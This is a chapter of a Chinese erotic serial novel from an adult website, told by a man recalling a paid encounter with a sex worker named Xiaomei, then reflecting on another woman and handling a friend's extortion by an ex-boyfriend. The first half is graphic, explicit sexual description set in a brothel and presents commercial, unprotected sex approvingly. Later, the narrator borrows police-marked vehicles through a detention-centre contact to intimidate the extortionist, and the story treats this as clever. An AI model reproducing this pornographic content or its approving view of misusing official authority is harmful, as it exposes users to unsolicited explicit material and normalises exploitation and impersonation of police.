★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:MSSPW3.COM 点击收藏,以免迷路哦!

[都市]小梅和我的故事(全本)-16

  

【16】



我一把把她向上拽了一下,整个阴部就呈现在我的面前。我的天啊!两片深

粉色的阴唇被淫水滋润的闪闪发亮,紧紧的闭合着,阴毛不多但很柔软的覆盖在

阴户上方,一颗小小的阴蒂在阴唇顶端挺立着。

一股消毒湿巾的气味飘过来,把舌头凑过去,在阴唇底部舔了一下。消毒湿

巾的清凉和淫水微咸的味道充满了整个舌尖,她的身体剧烈的震动了一下,嘴里

重重地‘嗯’了一声儿。

这一年多的忍受,让我忘乎所以了。这小妖精的挑逗,让我忘乎所以了。这

种朦胧的灯光和隔壁淫荡的声音,这一切的一切都让我忘乎所以了。没了任何理

智,没了任何顾及,没了任何防范。

我不顾一切的让舌头在阴蒂、阴唇、阴道口冲锋陷阵。淫水和我的口水充斥

着她的阴部,两只手紧紧的抓住她的屁股揉搓,恨不得把这些都抓在手里,吃进

嘴里。

她的反映越来越剧烈。从呻吟变成叫床,从口交变成轻轻的舔弄,从支撑起

的身体变成趴在我身上无意识的扭动。我俩就像是两条纠缠在一起的虫子一样,

唯恐床太大,紧紧的扭缠在一起,仿佛要把两个身体之间的空隙都填满。我的动

作没有因为她动作上面的阻止而减弱,反而更加激发了我的欲望。

我拼命的搂住她,抱住她的腰、屁股,整个脸都埋在她两腿之间。她好像慢

慢的开始进入状态了,口水浸湿了我的鸡巴和整个阴部,嘴里的呻吟时大时小时

快时慢,身体慢慢的扭曲着仿佛是既享受又抗拒,两只手在鸡巴和大腿上乱摸,

舌头有一打没一着的在龟头上面扫过。

“我……我服了你了……老公……”她的阴部明显的洪水泛滥,脸上的红晕

更加娇艳,身体开始明显的颤抖,双手紧紧的抱着我的腿。她高潮了!

“嗯?”我停下来,坐起来,看着她。

“我……我受不了了……”

“想要吗?”

“嗯……快点儿……”她躺在床上,主动拉着我的手,闭着眼睛点头,身体

还在颤抖着。

“你多大岁数了?”

“呃……都这样了……你……还问?”她带着娇红的脸上写着惊愕。

“不说?我就不来。”我一脸的坏笑。

“20,啊……”她显得很无奈。

我没等她说完,就把挺立的不象样的鸡巴借着刚才高潮涌出的淫水毫不费力

的插进去,深深的一插到底。

在插进去的一瞬间,我看见她好像深深的吸了口气,两只手抓住我的胳膊,

抓得那么用力。

她的阴唇已经充血膨胀了,深粉红色的阴唇像是婴儿的小嘴一样包裹着青筋

暴怒的鸡巴。她的阴道很窄,阴道内壁上面的肉粒明显的紧紧的挤压着坚硬如铁

的鸡巴。

我能感觉到已经到头了,龟头顶在了阴道尽头的那一堆嫩肉上面。让我惊奇

的是,她的阴道会动,花心也会动。就像是一个婴儿在吸奶一样的吸吮着,就算

不动都能体会到一种轻轻的快感。

我把鸡巴缓缓的抽出一截,然后慢慢的用力重新插进去,插得很深,直到不

能再进去了,知道两个人的外阴部紧紧的结合在一起,没有一点儿空隙。然后周

而复始,就这么重复着如此原始又最具诱惑力的动作。

随着我的动作慢慢的加快速度,她开始有意识的配合我的动作,上下移动着

身体。两条腿绕过我的身体,盘在我的后腰上面,好像整个吊在我身上一样。

我干脆趴在她的身上,把自己的体重完全压在她身上,体会着她身上的香味

和滑腻的汗水。迷乱中,我吻上了她的嘴。

没想到她竟然主动伸出舌头来勾引我的味觉器官,滑腻的小舌头在我的口腔

里来回的寻觅、扭动、纠缠。口水浸湿了两个人的嘴唇,两条舌头纠缠在一起像

两条泥鳅一样。火热的鼻息喷洒在彼此的脸上,粗重的喘息声和放浪的呻吟充满

了整个小屋。

我抱着她,吃力的坐起来,然后向后躺下。她就坐在我的身上,开始上下移

动身体。她的头向后微微的仰着,嘴张得很大,大口的呼吸着。屁股跟大腿根的

碰撞发出了‘啪啪’的声响,微小的汗珠充满了她整个胸部和面部。她抓起我的

手,按在自己的乳房上面,使劲的按住。

每次向上移动身体的时候,她的阴道都会格外的使劲夹紧,似乎要把鸡巴连

根拔起一样的用力。我也情不自禁的向上挺撅着,好像舍不得让鸡巴有哪怕一小

会儿离开她的阴道一样的恋恋不舍。

但是,长时间的禁欲让我的精子充满了叛逆情绪,在如此短的时间里就已经

忍不住要集体越狱了。我不得不停下来,拔出来。晾晾……

我抓住她的屁股,使劲的捏了一下。

“撅起来!”我很严肃。

“讨厌……”她娇吟着,却听话的跪在我的前面。

看着翘起的屁股和盈盈一握的腰形成的一个桃型,我狠狠的捏了一下鸡巴的

根部,抑制住了精子要跑出来的势头。对准了那暴露在我面前的小屄,深深的插

了进去。后进式的缘故,我感觉好像比以前进去的更加深入。龟头好像突破了那

令人神往的花心,进入了另一个腔体。

她的声音也告诉我,这样的姿势她更爽。我把上身挺得直直的,前后移动着

腰部,死命的撞击着她的屁股。一只手绕过她的腰部,按在她的阴蒂上面不停的

抖动。

如此激烈的刺激让她的高潮又来了。淫水顺着两个人的大腿留下来少许,她

的腿开始颤抖好像要禁不住自己的身体一样。她顺势趴在床上,我也跟着趴在她

的身上,鸡巴还留在阴道里。

就在高潮来临的时候。她的阴道夹紧的程度更加强烈,花心像是要把精液吸

出来一样的紧紧的覆盖在龟头上面,像吸奶的负压器一样的吮吸着。而我体内的

精子,也开始里应外合的要跑出来跟她的花心团聚。我赶紧抽动鸡巴,小腹部跟

她的屁股开始频繁的碰撞。

她的高潮还在进行中,我的精子就迫不及待的跑出来,一溜烟儿的跑进了她

的阴道。我就虚脱在她的背部,不要脸的把自己的重量全部都压在一个少女的身

上。她仿佛对我的重压没有感觉似的,专心的颤抖着、大口的呼吸着、无意识的

呻吟着。

我感觉过了好久,耳鸣渐渐的消失了。她的高潮也过去了,身体渐渐的恢复

了平静。

“完了。”她一下子把我掀翻,坐起来惊呼。

“怎么了?不爽?不行咱重来?”我的屁嗑儿又来了。

“都是你,都忘了用套子了……你害死我了。”她一脸懊恼的打了我一下。

这句话,把我自己也吓了一条。

“耗子腰疼,多大个肾(事)?我又没病。”事情已经这样了,还能说什么

呢?

她开始用消毒湿巾仔细的清理着自己的小妹妹,那仔细的劲儿就像是在清理

一块极度复杂的机械表。收拾完了,她回到我的面前。伸出刚才在我嘴里肆意妄

为的小舌头,轻轻的舔去鸡巴上面的残留物。然后用温水和消毒湿巾仔仔细细的

清理了一遍。

“这就是和尚洗头?”我笑着问她。

“就你有这待遇,不领情是不?”她白了我一眼,那样子煞是可爱。

“陪我躺一会儿,行不?”

‘想当初,老子的队伍才开张……’手机响了。她开始笑。

“喂!忘了,光顾着爽了,忘了……那行,你就走就行了,我结账……嗯,

回头见。”我挂断了电话。

“你笑什么?”我问她。

“老公,这铃声哪来的?真有品味。”她斜眼看着我。

“我自己做的。”

“还有别的样的没?”

“还有林海雪原。”

“怎么都是京剧?”

“京剧好啊!国粹呀!”

“有什么好的?都老掉牙了,不过挺有喜剧效果的。给我传过来吧。”

“老掉牙你还要?”

“老归老,跟别人不一样啊!”她要的是跟别人不一样。

“你不懂京剧,别胡来。”

“你懂!”她有点儿赌气。

“废话,不懂能用这个当铃声吗?”

“真的?给我讲讲。”我靠,一个嫖客在炮房里给一个小姐讲京剧,这点子

亏她想的出来,我服了。

“你想听?”

“嗯!”她抿着嘴点头。

“好吧。这段是沙家浜智斗一场的唱腔,你听过吗?”

“电视里看过,怎么听也听不出来好听啊,还拉长声儿。”

“呵呵,那我来给你讲讲。等讲完了,你再听听,看有什么不一样的。”

“你还能讲出来花儿?”

“还真备不住。”

“讲,我听着。”

“首先,你要知道这一场里面的三个角色。一个是刁德一,一个是胡传魁,

还有一个是……”

“阿庆嫂!”她打断我,插嘴!还抓了一下柔软的鸡巴。

“别捣乱!好好听讲。”我看见她笑得前仰后合的。也难怪,两个赤身裸体

的男女,还要严肃的在炮房里面研讨现代京剧,真他妈邪门了!

第一段:‘想当初,老子的队伍才开张。拢共才有十几个人,七八条枪。被

皇军追得我晕头转向。多亏了阿庆嫂,她叫我水缸里面把身藏。她那里提壶续水,

面不改色,无事一样。骗走了东洋军,我才躲过大难一场。似这般,救命之恩终

身不忘。俺胡某讲义气,终当报偿……’

这一段的唱腔,粗壮,底气十足。从唱腔的表现和内容上面可以得出这样的

结论:胡传魁敢于在他人面前直言不讳的说出自己曾经的糗事,显示出他是一个

豪爽、头脑简单、讲江湖义气的男人。同时,也在骄傲的向刁德一显示自己从无

到有的丰功伟绩。”

“完了呢?”

“接下来是阿庆嫂的独白,‘胡司令,这么点儿小事儿,您别总挂在嘴边儿

上。那我也是急中生智,事过之后,您猜怎么着,我还真有点儿后怕呀。’这一

段,显示出阿庆嫂灵活机智的反映。一边向刁德一肯定了自己舍己救胡传魁的事

迹,一边显露出自己是个女人,需要像胡传魁这样的男人保护的意图,当然是说

给胡传魁听的。”

“接下来,‘参谋长,烟不好,抽一支?胡司令,抽一支!’阿庆嫂用询问

的口吻低声细语的问刁德一抽烟,可是刁德一不抽。反过来,对着自己曾经救过

命的胡司令,就好像是跟一个家里人,半玩笑半命令的口吻。而胡传魁也是,高

声接受,对刁德一显示出自己是多么的重视阿庆嫂。”

“听你这么一说,还成了故事了?”她表现出一种求知的渴望,睁大的眼睛

很明亮。

“京剧,本来就是说故事的是世界三大表演体系之一。你可别马虎了啊!”

“其实,不光是京剧,只要你用心,什么事情都能看到以前从表面看不到的

东西。说老实话,我根本就不懂京剧,但是我是在用心体会,跟你说的也是我的

体会,如果一个真正的京剧发烧友可能还不屑一顾呢。但是,又如何呢?”

“用心?”

“对……对了,你叫什么名字?”我才想起来问她。

“小梅。”她不像最初那样卖弄风骚了。

“好名字。下次,我还来找你。”

“嗯!”她回答的声音很小,像是若有所思。

“歇够没?”

“啊?哦……”她缓过神儿了。

穿上衣服,她挽着我的胳膊往外走。刚走到门口,她突然停下来,身体有点儿

弯曲。

“啊!”

“咋地了?”我关切的低下头问。

“还问,都是你。”她红着脸掐了我一下。

“呃……哈哈……”旋即,我明白了。

小梅的表情,让我心情大好。问了她的电话,同时也把自己的电话留给她然后

要了瓶饮料,一边喝一边顺着弯曲的大理石楼梯往下走。

“哎!”小梅的声音从背后响起。

“嗯?还有事儿吗?”我停下来,回头问她。

“你……你不是说完了告诉我你是干什么的吗?”她红着脸独自站在大厅的入口,

问我。她的背后,一大排的小姐都看着她,像是她的陪衬一样。

“哦,出来玩儿的呗!”说完,我撒腿就跑。

“你等着……”她跺着脚娇吒。

我看见服务生和几个浴客都向我看,心里有一种偷笑的感觉

水边的警醒,让我的心里对两个陪伴我度过这一段快乐时光的女孩充满了怀疑,为

了弄清楚事情的原委,我提前回到了市区。从一开始一点点的寻找蛛丝马迹,通过

对跟小梅初次相识的旖旎情景的回忆,我没有找到让我怀疑的地方,多多少少给了

我郁闷的心情一点安慰……

************

如此完完整整的回忆,让我的心情开始变得晴朗起来。好像小梅的音容笑貌都

真切的浮现在我的眼前,那天晚上的娇柔妩媚又出现在我的眼前。那动人的肉体,

明亮的眼睛,娇艳的双唇,都一一打动着我的心弦。

从记忆中的初识里面,根本无法找出任何漏洞,我得出一个结论——小梅没有问

题,最起码我跟她的初识没有任何阴谋可言。这个结论让我稍微觉得有点儿安慰

了,最起码可以稍稍平息一下我内心卷起的巨浪。

如此推断,接下来认识白玲应该是顺理成章的事情。而我所有的疑问几乎无一

例外的都指向白玲前后天渊之别的行为表现,这才是问题的关键。既然小梅跟我的

初识不存在预谋的成分,那么白玲应该也不会预谋我什么。

如果说真的有什么阴谋诡计,也应该是在认识我之后才开始的。也就是说,在

白玲见过我以后,才开始打我某一处的主意的。那么白玲认识我以后,经过了什么

呢?仔细地想一下,她跟我之间发生的事情屈指可数。就算一一拿来推断一下,也

不会费多少功夫。

第一次:我帮着白玲和格格把煤气开关关掉。白玲对我的态度不冷不热,虽然

也说了‘谢谢’,但总是感觉拒人千里之外,还是冷冰冰的。她的变现也挺正常,对

一个陌生的臭男人也应该是她那样的表现。但总的来说,总算是我对她的好。就算

她不认为我是好人,最起码的我对她的所作所为总不能说是坏事吧?总还算是帮了

她的忙吧?那好,给我自己加1分。

第二次:就是当天的晚上,我请她们三个人吃饭。当得知白玲贫血的时候,我

下意识的点了一个阿胶枣的甜品。在长久没有人关心的情况下,一个初次相识的人

给予的关心,让她的内心受到了强烈的冲击,再加上对自己身世的自怜,所以她哭

了,感动了!这一次,比白天的行为更加好,给我自己加2分。

第三次:在一个所谓的专业IT工作者欺负她的时候,我的出现让她感觉到了

一个可以依靠(至少在某一件事情上面可以依靠)的男人是一件好事。帮着她把电

脑修好,意味着她赖以谋生的工具被我修好了,同时又为她抵挡了一个骗子的欺

骗。说不上如何出色,给自己加1分。

第四次:在她胃疼的死去活来的时候,我给她买了药,还给她做了一顿病号

饭。虽然说不上大恩大德,但在最需要帮助的时候得到的些许帮助应该会在她心里

产生很大的积极作用,也可以说是感动。妈的,我怎么总是在让女人感动?加1.

5分。

可就是在吃完了这顿饭,本来还挺融洽的气氛,本来已经开始放晴的关系,就

这样被她看似顺理成章的给彻底破坏掉了。虽然说不上是恩将仇报,但总不是对一

个刚刚给过你帮助的人应有的态度吧?这也从侧面反映出白玲的自我保护意识是多

么的强烈。给她减1分!

但是导致她胃疼的主要原因就是因为她彻夜没睡,一下子吃多了枣。如果真的

是因为想着我而彻夜未眠,那么……

想一想,被一个初次相识的男人给予自己如此细腻的关怀,跟其他所接触的只

是要玩弄自己肉体的臭男人形成的鲜明对比,彻夜未眠也不算稀奇呀!也许真的像

小梅所说的‘她吃那么多枣,是故意的,就是想要我来看看她,你也会一起来。’也

许……给她加2分!

第五次:因为‘蝴蝶’。白玲几乎把所有泼妇所能表现出来的特征统统搬出来

了,大吵大嚷、恶语相加、愤怒、激动……她在我心目中刚刚才建立起来的形象,一

下子像是被飞机撞毁的世贸大厦一样崩塌。怒!给她减2分!!

但是,出于对自己和小梅的保护意识而表现出来的对一个认识不久的男人的警

觉,有错吗?如果是我的话,估计我也会这样的。嗯!给她加1分,为了她的自我

保护意识。

第六次:就在当天的晚上,我真的救了白玲的命,如果我来的不及时,恐怕她

真的会有生命危险。但如果换成是别人,我估计我也能施以援手。So,加1分。

但是,她的表现,她对一个救命恩人的表现就不敢恭维了。她对我的所作所

为,真的伤到我了。所以,给她减2分。

第七次:她追着我没完没了的,确实挺烦人。但是我也愤怒的发泄了一通,临

走还戏弄了她一小下。这一次,就算是扯平了。双方平手,不加不减。

接下来就是她急剧的转变。综合前面的七次,我总共得6.5分,白玲—2

分。最终我以高于白玲8.5分,取得压倒性胜利!

等等!怎么回事儿?我怎么抱着这种态度在思考白玲的不对劲儿?这不是胡闹

吗?为什么我会把跟白玲的关系看成一场竞赛?这是怎么回事儿?难道,我真的把

白玲看成一个竞争对手?还戏虐般的加分减分,为什么我不能严肃的对待白玲的问

题呢?

仅仅从刚才对跟白玲几次交手的分析,并不能看出白玲的问题所在。相反

地,她还一直都在排斥我。如果她真的对我有所算计,那么这些都是欲擒故纵?就

不怕真的让我彻底心寒了?一个二十刚出头的女孩竟然能把在社会上混了多年的我

的心理拿捏得如此恰到好处?

如果真是这样的话,我无话可说,就算是败了,我也败得心服口服!可是,我

长了这么大,还没见过这样的人,更别说是一个如此年轻的女孩子。

对了,问题就出在她一直都在排斥我,但从第七次交手以后的突然转变开始才

出现的问题焦点。对了,毛病找到了。我要找的就是这个,她为什么能转变得这么

快!!!

我记得那天晚上在美丽城的VIP包房里面,白玲说过‘你走了,白鹭跟我说

了很多,我也想了很多,所以很想见你。’。对了,就是这句话,‘白鹭跟她说了很

多,她也想了很多。’。妈的,这么明显的症结所在我竟然疏忽了。

小梅究竟跟她说了什么?怎么说的?她想了什么?这三个问题就是症结所

在,如果能弄明白这三个问题,我相信,就能搞清楚白玲为什么会有这么大的转

变,至少能找出些许的端倪。好了第一个问题焦点找到了,就是那天晚上我走了以

后究竟在小梅和白玲中间发生了什么,以及发生的事情在白玲心里产生了怎样的变化。

接下来,她第一次提到了‘爱’。她说是初次见面的时候,我为她们选了白瓷碗

让她爱上我的。当时我没有仔细的想,过后也没有翻过来细细琢磨。一个白瓷碗就

能让一个冰冻了千年的冰峰瞬间融化吗?包括昨天在水边的想法和今天所做的回忆

和探讨都确定了一个很大的疑问,那就是她真的‘爱上我’了吗?对!这是第二个问题。

再接下来就是白玲主动提出要引诱张晶和我来一场3P,并且付诸了行动。从

她当时跟张晶的对话里面,说实话,我找不出任何破绽。从她威逼利诱张晶的手段

可以看出她的厉害之处,从她跟张晶所说的话可以看出一个疯狂爱上男人的女人的

真实表现。

完全无懈可击,完美至极!但问题也就在这儿了,一个疯狂的爱上一个男人的

女人竟然会主动跟其他女人分享她所爱的男人,并且极力的怂恿该男人。就在她所

说的‘我比她疯的早’的状态下,她竟然能保持着如此清晰的思维,使用如简单有效

的手段来让一个涉世不深的少女同意跟她所爱的男人来场3P。太矛盾了,就算我

想破了脑袋也不能解释。此其问题三也!

然后,就是离开美丽城以后到白玲的住处。我那一番‘神和人的关系’,让她大

吃一惊。这里不存在任何阴谋的可能性,我不相信这些话她能早早的就预谋过,然

后等着我上钩。这一点,是唯一我没有任何疑问的地方。唯一有点儿疑惑的是,就

这么一句我不经意的戏虐之言,真的能引起她这样一位玲珑剔透的女孩这么大的反

映吗?这勉强算是第四个问题吧!

再接下来,就发生了饭团找我那件事。白玲的表现,让我刮目相看的同时,也

深深的对她肃然起了敬。但是这么冷静的表现不正是她应该有的吗?没什么好说的了。

想了这么多,林林总总的归纳了四个问题焦点。要是能弄明白这四个问题的原

委,整个疑虑就可以迎刃而解。至于将来如何相处,那是未来的事情,还有时间通

过已知的元素来设计、规划、筹谋,不是我现在该想的问题。

想通了这些,找到了问题所在,让我的心情晴朗了不少,至少不像昨天那么

‘冷’了。

长久以来,我养成了一个习惯。每当我找到这些问题的时候,都会想办法让自

己尽可能的放松下来,等到自己的思维完全的放松了,才把这些已经总结出来的问

题拿出来,逐个的击破、摧毁。所以,现在我只想美美的睡一觉,然后饱饱的吃一

顿,然后找两个混蛋去跑跑,在卡丁车的世界里虐待一下别人……

************

一觉醒来,吃过了简单的晚饭,我开始给那两个混蛋打电话」约他们出来跑

跑。可谁知道,他俩居然都没空。妈的,我就这么点儿背?点了根烟,下楼,在园

区里面转转,呼吸一下新鲜空气。

我所在的园区非常适合居住,虽然离市区不是很近,但环境很好。旁边就是浑

河,还挨着派出所,园区里面的景观绿化也非常出色,听说是出自一个奥运场馆设

计者之手。

走在郁郁葱葱的绿色中,看着稀稀落落的灯光,不由得感慨——都快7点钟了,

这么多家都没亮灯,可见现在的人都是多么的繁忙啊!大家都为了生活在努力,为

了改善目前的经济状况而拼命。像我这样的人,恐怕不多。

不是说我不想挣更多的钱,而是我觉得如果单纯为了挣更多的钱而丧失了生活

的乐趣,那么挣更多的钱有多大意义?或者说跟你所失去的成比例吗?也许是我的

命太好了,从小到大都没为钱愁过。‘老婆、孩子、热炕头’的小富即安思想,在我

的脑海中深深的扎根,我老是觉得满足。

记得大学时代,我的同学问我‘你觉得你将来挣多少钱,觉得够用?’,这小子

没事儿就爱探讨财经方面的东西,经常《松下幸之助传》、《李嘉诚传》的不离手。我

算了算,回答他‘550万’。他当时还挺奇怪,‘你是我所寻问过的人里面要求的

最少的,怎么还有零有整的?’

我记得当时我是这么计算的:买一栋房子,加上装修需要100万,买一辆车

需要30万,开一个相对稳定的买卖需要150万,还要保留50万的流动资金。

然后给我妈存100万的养老钱,以防万一我有什么不测。我还要给自己存100

万,作为‘过河钱’(方言,意即:在遭遇毁灭性打击的时候,可以重新再来的后备

力量)。最后,留20万当作零花钱。总共加起来,一共550万。

当时他听完我的解释,没话了。不知道是我的算法让他若有所思,还是觉得我

有毛病,反正从那以后我再没看见他问别人这类的问题。我要得不多,够花就行。

自己觉得好的东西,而且确实需要就能买。有个舒适的家,有一辆安全有保障的代

步工具,给自己和老妈还有老婆孩子留好后路。其余的就是好好的享受人生了。

虽然,我也知道老妈比我有钱,但那是她的。她有和我给她,这是两回事。所

以,我一直都坚持不要老妈的钱。同时,我也从来没有做那些不切实际的发财梦,

时刻提醒自己别忘了学会‘知足’!

记得,我小的时候,有一次跟我妈坐火车去广州。妈指着车窗外的黄土地,跟

我说“儿子,你看看,好好看看”。当时,我看见一大片黄土地里,寥寥无几的几个

农民弯着腰在看起来贫瘠的土地上面劳作着。

“这就是‘面朝黄土,背朝天’,你记住了:如果你生长在这样的家庭里,你的

命也就是这样的。所以,不要跟人家比,不要怨这怨那的。你现在的生活,比他们

要强太多了。人,要知足!”,我妈这样跟我说。妈的话,我到死都会记得,不敢

稍有怠慢。

************

有人大声的说话,好象是两个人在争吵。我赶紧向前走两步,看看……果不其

然,就是这俩活宝。这两个人都姓李,一个今年六十多岁,我跟他叫李哥。另一个

今年四十多岁,我跟他叫李李哥。

这两个人在园区里面是出了名的好哥们儿,同时又是死对头。只要他俩在一块

儿,争吵总是避免不了的。他俩都是有钱人,至少都比我有钱,但是都是很好的

人,对我都挺好的,虽然相识时间不长,但都把我看成一个小弟弟一样,有几个有

点儿赚头儿的生意也都是他俩介绍给我的。

两个人的交情有十几年了,可就是互相不服,非要跟对方对着干,什么事情都

是。李哥买了一辆奔驰S600,黑的。李李哥就也买一辆奔驰S600,白的。

然后两个人就互相指责对方的颜色难看,并一一列举认为该颜色难看的种种理

由。争论到最后,就会找来各自的好朋友,帮着自己证明自己的论点。不知今天争

吵的内容是什么?正好没事儿,调侃一下他俩也是不错的事儿嘛……

“二位爷,又打嘴仗呢?”我笑着问。

“你来了,正好……赶紧来,要不他还死犟……”

“什么问题?”

“我说F117在南联盟是被中国藏在大使馆里面的被动雷达发现,才被南联

盟击落的。他非得说……”李李哥抢着说,却被李哥打断。

“那还用被动雷达啊?你有没有点儿常识?F117一旦打开弹舱门就不隐形

了,不用说是相控阵雷达,就算普通的厘米波雷达也能发现。F117去干什么

的?不就是投弹吗?不打开弹舱门怎么投?一点儿常识也没有……”李哥一副‘姜,还

是老的辣’的表情。

“还相控阵?就南联盟那破地方儿,还趁相控阵?你就知道F117被击落的

时候是打开弹舱门的?你看见啦?说话一点儿逻辑都没有。”李李哥反唇相讥。

“就算没开,那你就看见大使馆的被动雷达了?中国现在有没有被动雷达都是

个问号,你什么时候知道的?”

“老东西,跟你说不明白。自个儿老糊涂了,还嘴硬!张毅,你说!”李李哥把

山芋放在我的手上。

“对!你也是军事迷,你说!”李哥把他的山芋也放在我的手上。

“我?我又没看见,我哪知道啊?”

“你看……人家这才是客观的答案:没……看……见!听见没?别老被动雷达,被动

雷达的。好像你真看见似的。”李哥马上把我的鸡毛当成进攻李李哥的利剑。

“那,你就看见弹舱门打开了?没办法……还是老糊涂了。”

“别吵!大家都是猜测,谁能说服谁呢?”

“嗯?你有看法?说说……”

“我没什么看法。要想知道线年以后,解密了才能知道。现

在,大家都是猜测。不过我最近在网上看到一个论点,我觉得挺有意思,应该算是

个最接近的答案。”我不能说这是我自己的观点,那样的话会把我自己也卷入这种

‘鸡是被人吃了,还是被刀杀死的’的‘看似挺对,其实是个伪命题’战争中。

“什么论点?说说。”

“F117当时被击落,有没有打开弹舱门不知道,但确实是被发现了,这个

不可否认……”

“你看,我没说错吧?还……”李李哥有点儿得意。

“但是,现在已经证明了,就连美国人自己也承认,F117的隐形特性不完

善,有很大的缺陷而且机动性太差。所以,最近哄哄着要退役。F117不用说是

相控阵或者毫米波雷达,一旦打开弹舱门,它就连一台微波炉改装的雷达也骗不了。

现在已经证明了,F117在最老式的米波雷达,就是朝鲜战场上用过的那种

面前,根本无法隐形。米波雷达对F117的探测和发现距离,跟对普通战机的一

样,只是无法准确的测定其三维坐标。但是南联盟薄弱的防空力量弥补了这一点,

南联盟穷,没有多少防空导弹,更别说是先进的防空导弹。它只能用数量换质量,

用大量密集的防空火炮来代替先进的防空导弹。

一旦南联盟的老式米波雷达发现F117的大致位置,就用密集的防空炮火覆

盖F117所在空域,并用导弹的弹载雷达在F117所在空域开机展开弹炮饱和

攻击,那么就凭F117那比猪还笨的机动性就肯定难逃此劫!”

“所以,F117被击落,并非技术性问题,而是老美‘杀鸡用牛刀’这种装逼

闹事的战术决策上面的失误。当然了,这也是推测,没有证据。”说完最后的一

句,我等着看他俩的反应。

“哎,这才是客观的推测,看见没?别以为自己多活几年,就见识多……”李李哥

掏出一盒中华,点上一根,然后拿出来一根递给我。

“米波……米波……你自己都承认这是客观的推测,我怎么没听见张毅说被动雷达

啊?小孩子,就是没有逻辑!”说着,拿出一根精装中华,开始剥开白色烟杆外面

的塑料薄膜。然后,递给我一支。

“你看见没?抽个烟,也自找麻烦,还得一根一根拆,不嫌闹心?”话题又转移了。

“啥也不懂,拿棍儿乱捅。这才是真正的精装中华,作假不会也用不起这技

术。你那盒还说不定是几块钱进的货呢?”

“我从烟草直接买的,你那单根儿包装的烟草压根儿没有还舔着脸说我?”

“我从香港买的,纯粹外销的。说你小,还老不服儿。”

“香港就没有假的?”

“怎么……”

看着这对活宝,我的心情简直跟看了一场喜剧电影一样的好。人生,就该如

此,不是吗?抽着李李哥的软包中华,把李哥的精装中华别在耳朵上面,一步三晃

的接着溜达,转一大圈儿,然后回家洗澡,睡觉去喽……

一阵急促的电话铃声吵醒了我的甜睡,努力的睁开惺忪的睡眼。墙上的时钟显

示,现在是午夜2:33。谁呀,这是?吵了大爷的美梦!

‘小妹妹来电?’谁呀?

哦,我想起来了。是张晶,从第一次见到她,小妹妹的称呼就一直深深的留在

自己的脑海中,所以电话簿里面的名称就这么写了。

“喂……”

“哥……”

“张晶吧?什么事儿?”

“哥……嗯……”我听到呜咽的声音,好像有什么事儿。

“别哭,什么事儿?慢慢说,别急。”我一骨碌,坐起来,打开床头灯。

“我……哥……大力来了……”她好像上气不接下气,根本就没办法听懂她要说什么。

“别急,你听哥话不?”

“嗯……”她还是哽咽着。

“听我说,现在静下来,然后深呼吸,尽最大能力的深呼吸三次,然后告诉我

到底出了什么事儿。”

我听到她一边哽咽着,一边努力的深呼吸的声音。

“呃……哥,大力来了。”

“谁是大力?”

“我……以前的男朋友,他来了,他跟我要钱,他……”她说的很急,有点儿没头没

脑的。

“先别着急,你慢慢说。告诉我,他什么时间来的,尽对你说什么了,你又是

怎么回答他的。”我一步步的引导她。

“他昨天下午来的,从一个老乡那里打听到我租的地方的,来了就说想见见

我,我就答应了。结果一见面,就不是他了。他跟我要钱,说是要这几年的青春损

失费。开始我不答应,他就打我……

后来没办法,我就把兜里的六百多块钱给他了。可是他说不够,还跟我要。我

骗他要跟他去银行取,他就先出门去了,等他一出门,我就把门锁上了。他就一直

等在门外,说是不给钱就不走。我一直等到晚上,他还没走……

他现在就在门外,还吵吵,老大声儿了。我实在是没办法了,才给你打电话

的。哥,我……咋办呐?”

“这不是讹诈吗?为什么不报警?”

“我不敢……”

“是他讹诈你,你有什么不敢的?”

“他……他说他有录像……”

“什么录像?”我有不好的预感。

“他……他说他把我跟他……那些都拿手机录了,要是我报警,他就把那些放到网

上公开……呜……还要让大人们都看看……”她又开始哭。

“别哭,他真的录了吗?你确定?”

“我不知道……嗯……有一次他说要录下来,我不干,但我不知道他后来又录过

没……哥,我真的没办法了,才给你打电话的……”

“你现在在自己的屋子里?还有别人没?他在哪儿?”

“我在自己家,他在门外,门我锁死了。没别人了,不过左邻右舍都知道了。”

“那也就是说,你现在暂时是安全的,对不?”

“嗯。”

“好,你先把电话挂了等着我。我得想一想怎么办,然后给你电话。记住,不

管他说什么,都不能开门,一定等着我的电话。”

“嗯,我听你的。哥,我等你电话,你可得快点儿,我害怕!”她的声音仍然在

颤抖。

“放心,我尽可能的快。”

“嗯,那我等你。”

挂了电话我没想怎么解决张晶的问题。一个要命的问题出现在我的大脑中:我

是怎么了?怎么老是碰到这样的问题?难道我今年的运程出了问题?小梅、白玲、

雨,现在又是张晶。老天,我干什么缺德事儿了?可是不管怎样,也得先处理张晶

面前的问题啊!真头疼。

“喂,老魏吗?”我拨通了老魏的电话。

“值班呢?有个事儿得麻烦你一下……有车没?……带司法字样的……好,借我两

辆……天亮之前给你送回去……行,那我让六子过去取。不用,我自己就行!再说了,

车都借了,再借你的人就说不过去了……也行,那就谢谢了,没问题,完了我请客。”

“六子,这么晚了打扰你了,你现在去老魏的拘留所,把两辆警车开出来,还

有两个人跟你来,最后来接我。啊,对了,带着笔记本……有急事儿快点儿,我等

你。”挂了老魏的电话,我又给六子打了电话。

像这样的人,其实并不是真的有胆量进行真正的敲诈。只是因为张晶是他前女

友,人又单纯,凭借着对张晶的了解,他才敢来威胁。找两个穿警服的吓唬他一

下,应该可以让他知难而退,万一不行的话,那就来真格的。

“喂,张晶……”我拨通了张晶的电话。

“哥,你到了?”她马上就接了电话,语气中充满了急切。

“没有,不过我正在准备。你那里现在怎么样?”

“他还在外面,不过一直都嚷嚷着。邻居都敲了好几遍暖气管子了,咋办啊?”

“不理他,告诉我你现在的地址,我一会儿就能到。”

“我也不知道这儿的地址,我刚来没几天。”

“哪个区?旁边有什么标志性建筑物没有?”

“铁西区,生日城后面,xx小区进来第2栋,2单元5楼中门。”她费了好大

劲儿才说明白。

“好啦,你等着我就行了。我没到之前,千万别开门,也别接电话。”

“那你快点儿,哥,我害怕。”

“知道了,我一会儿就到。”我挂断了电话。

挂断了电话,我穿好衣服,洗了把脸。站在阳台上面打开窗户,深深的呼吸了

一口深夜凉爽的空气,点着了一根烟。看着淡蓝色的烟,歪歪扭扭的上升,慢慢的

扩散在夜空的黑幕中。

外面的环境漆黑一片,只有两三个窗户还亮着灯,估计是通宵打麻将的。其余

的都是漆黑一片,非常的宁静。突然感觉自己的听觉好像敏感了起来。

仔细的听听,好像能听见风中的一缕缕细微的声音,好像凭着这一缕缕的声音

能感觉到风的流向和脉络。细细的回想着最近发生的事情,我突然发现对白玲、

